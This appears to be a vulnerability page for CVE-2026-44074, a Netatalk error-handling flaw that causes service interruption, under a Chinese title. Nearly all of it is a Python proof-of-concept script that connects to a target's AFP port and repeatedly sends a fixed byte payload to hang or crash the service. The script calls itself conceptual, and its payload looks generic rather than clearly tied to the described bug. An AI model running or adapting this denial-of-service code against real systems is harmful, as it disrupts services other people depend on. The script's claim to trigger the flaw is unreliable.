CVE-2026-44074 Netatalk错误处理逻辑漏洞致服务中断

# This is a conceptual Proof of Concept (PoC) to demonstrate the trigger mechanism. # It attempts to trigger concurrent error conditions in Netatalk. # # Usage: python3 poc.py <target_ip> <port> # # Note: This may cause the service to hang or crash. import socket import sys import time def trigger_error_condition(ip, port): try: print(f"[*] Connecting to {ip}:{port}...") # Create a raw socket connection to the AFP service (usually port 548) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) # Send malformed or rapid data to induce internal errors # This simulates the condition that triggers the errno bitwise OR logic payload = b"\x00\x04\x41\x46\x50\x32\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" print("[*] Sending payload to trigger error handling...") for i in range(100): try: s.send(payload) # Introduce slight delay or aggressive sending to trigger race conditions time.sleep(0.01) except socket.error: # Ignore send errors to keep connection if possible, or reconnect pass print("[*] Payload sent. Check service status.") s.close() except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <IP> <PORT>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) trigger_error_condition(target_ip, target_port)